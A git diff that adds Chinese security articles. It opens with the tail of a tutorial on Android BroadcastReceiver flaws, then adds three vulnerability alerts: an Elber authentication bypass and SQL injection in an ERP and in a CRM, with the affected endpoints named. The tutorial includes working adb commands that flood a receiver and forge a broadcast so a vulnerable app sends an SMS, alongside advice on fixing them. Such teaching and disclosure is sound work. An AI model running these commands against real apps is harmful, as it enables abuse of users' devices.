💥 攻击命令: +``` +for i in $(seq 1 50); do  adb shell am broadcast -a com.vuln.DOS;done +``` +##### ✅ 修复建议: +- 广播中只做轻量操作,耗时处理转交 Service + +#### 📌 漏洞 ⑤:伪造广播触发发短信 +##### ☠️ 发短信接收器: +``` +public class SmsReceiver extends BroadcastReceiver{@Overridepublic void onReceive(Context context, Intent intent){        String number = intent.getStringExtra("phone");        String text = intent.getStringExtra("msg");        SmsManager.getDefault().sendTextMessage(number, null, text, null, null);    }} +``` +##### ⚙️ Manifest 无限制导出: +``` +                +``` +##### 💥 利用命令: +``` +adb shell am broadcast -a com.vuln.SEND_SMS --es phone "13800000000" --es msg "你被黑了" +``` +##### 📌 特殊适用条件: +- Android 11 以下系统(12+ 系统需显示声明 exported=true) + +- 无权限限制或 export=true + +### 第三步:🔐 安全修复 + 最佳实践清单 + +
风险类型
修复建议
广播欺骗
设置 android:exported="false",或加权限
信息泄露
使用 sendBroadcast(intent, "com.app.PRIVATE_PERMISSION")
广播劫持
避免 sendOrderedBroadcast,或校验来源
拒绝服务
耗时操作交由 Service,广播处理快速返回
动态注册泄露
注册后及时 unregisterReceiver()
+#### ✅ Manifest 修复示例: +``` + +``` + +或: +``` +                +``` +### ✅ 总结:三步完成 BroadcastReceiver 漏洞排查 +1. **识别接收器** +:找出所有  + 注册,查看是否暴露 + +1. **逐个分析风险** +:是否执行敏感操作?是否加权限?是否验证 Intent? + +1. **ADB 测试复现** +:主动发广播,看是否能触发预期外行为 + + + +[#Web渗透](https://mp.weixin.qq.com/mp/appmsgalbum?__biz=MzkxNjY5MDc4Ng==&action=getalbum&album_id=3476421162073178115#wechat_redirect) + [#IOS渗透](https://mp.weixin.qq.com/mp/appmsgalbum?__biz=MzkxNjY5MDc4Ng==&action=getalbum&album_id=3451700450347565059#wechat_redirect) + [#源码审计](https://mp.weixin.qq.com/mp/appmsgalbum?__biz=MzkxNjY5MDc4Ng==&action=getalbum&album_id=3943521147836235777#wechat_redirect) + [#安全工具](https://mp.weixin.qq.com/mp/appmsgalbum?__biz=MzkxNjY5MDc4Ng==&action=getalbum&album_id=3429584270694662152#wechat_redirect) + + + diff --git a/doc/2025-06/漏洞预警 Elber身份认证绕过漏洞.md b/doc/2025-06/漏洞预警 Elber身份认证绕过漏洞.md new file mode 100644 index 00000000..5631b43b --- /dev/null +++ b/doc/2025-06/漏洞预警 Elber身份认证绕过漏洞.md @@ -0,0 +1,43 @@ +# 漏洞预警 | Elber身份认证绕过漏洞 +浅安 浅安安全 2025-06-06 00:01 + +**0x00 漏洞编号** +- CVE-2025-0674 + +**0x01 危险等级** +- 高危 + +**0x02 漏洞概述** + +Elber是一家从事广播行业模拟/数字微波链路的公司。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/7stTqD182SU3iaq7UqVQqlTrx6jSSnbGzVZRbfXaISeuq6DvtAwdg2c5OkCzpaBia5RabCxJXjYbnjuSOxiclCAkQ/640?wx_fmt=png&from=appmsg "") + +**0x03 漏洞详情** +### + +**CVE-2025-0674** + +**漏洞类型:** +身份认证绕过 + +**影响:** +越权访问 + +**简述:** +Elber多个产品的/modules/pwd.html和/json_data/set_pwd存在身份验证绕过漏洞,未经身份验证的攻击者可以通过该漏洞获取管理访问权限,从而损害设备的系统安全性。 + +**0x04 影响版本** +- Elber + +**0x05****POC状态** +- 已公开 + +**0x06****修复建议** + +******目前官方已发布漏洞修复版本,建议用户升级到安全版本****:****** + +https://www.elber.it/ + + + diff --git a/doc/2025-06/漏洞预警 智邦国际ERP SQL注入漏洞.md b/doc/2025-06/漏洞预警 智邦国际ERP SQL注入漏洞.md new file mode 100644 index 00000000..14235b21 --- /dev/null +++ b/doc/2025-06/漏洞预警 智邦国际ERP SQL注入漏洞.md @@ -0,0 +1,42 @@ +# 漏洞预警 | 智邦国际ERP SQL注入漏洞 +浅安 浅安安全 2025-06-06 00:01 + +**0x00 漏洞编号** +- # 暂无 + +**0x01 危险等级** +- 高危 + +**0x02 漏洞概述** + +智邦一体化ERP将企业物流、资金流、信息流等所有资源整合在一起,对销售、采购、生产、成本、库存、分销、运输、财务、人力资源进行规划,在一套系统内解决企业所有的管理问题。 + +![图片](https://mmbiz.qpic.cn/sz_mmbiz_png/7stTqD182SVLNvdLkO9wEiaL55HVyibFlmC5smsicdRk7GBTMf9SoUJCOgszZx5NqbV6LPB2IMrwYoIYz5v0ibpSHg/640?wx_fmt=png&from=appmsg&tp=webp&wxfrom=5&wx_lazy=1 "") + +**0x03 漏洞详情** +### + +**漏洞类型:** +SQL注入 + +**影响:** +窃取敏感信息 + +**简述:** +智邦国际ERP的 +/SYSN/json/pcclient/RecordPrint.ashx接口存在SQL注入漏洞,攻击者可以通过该漏洞执行任意SQL语句,在某些情况下,可以读入或写出文件,或者在底层操作系统上执行shell命令。 + +**0x04 影响版本** +- 智邦国际ERP + +**0x05****POC状态** +- 已公开 + +**0x06****修复建议** + +**目前官方已发布漏洞修复版本,建议用户升级到安全版本****:** + +https://www.zbintel.com/ + + + diff --git a/doc/2025-06/漏洞预警 灵当CRM SQL注入漏洞.md b/doc/2025-06/漏洞预警 灵当CRM SQL注入漏洞.md new file mode 100644 index 00000000..eb9757f0 --- /dev/null +++ b/doc/2025-06/漏洞预警 灵当CRM SQL注入漏洞.md @@ -0,0 +1,44 @@ +# 漏洞预警 | 灵当CRM SQL注入漏洞 +浅安 浅安安全 2025-06-06 00:01 + +**0x00 漏洞编号** +- # 暂无 + +**0x01 危险等级** +- 高危 + +**0x02 漏洞概述** + +灵当CRM是一款专为中小企业打造的智能客户关系管理工具。 + +![图片](https://mmbiz.qpic.cn/sz_mmbiz_png/7stTqD182SVt7YFyTQQEfhb7U1ia1Eib9LbzN6IooEiaAu8gmJRoBbalGtmLHyIvibmIAvPanxUHCsPxmIasVyUNAA/640?wx_fmt=png&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "") + +**0x03 漏洞详情** +### + +**漏洞类型:** +SQL注入 + +**影响:** +获取敏感信息 + +**** + +**简述:** +灵当CRM的 +/crm/WeiXinApp/cloudpro/index.php接口存在SQL注入漏洞,未经身份验证的远程攻击者除了可以利用SQL注入漏洞获取数据库中的信息之外,甚至在高权限的情况可向服务器中写入木马,进一步获取服务器系统权限。 + +**0x04 影响版本** +- 灵当CRM + +**0x05****POC状态** +- 已公开 + +**0x06****修复建议** + +**目前官方已发布漏洞修复版本,建议用户升级到安全版本****:** + +https://www.51mis.com/ + + +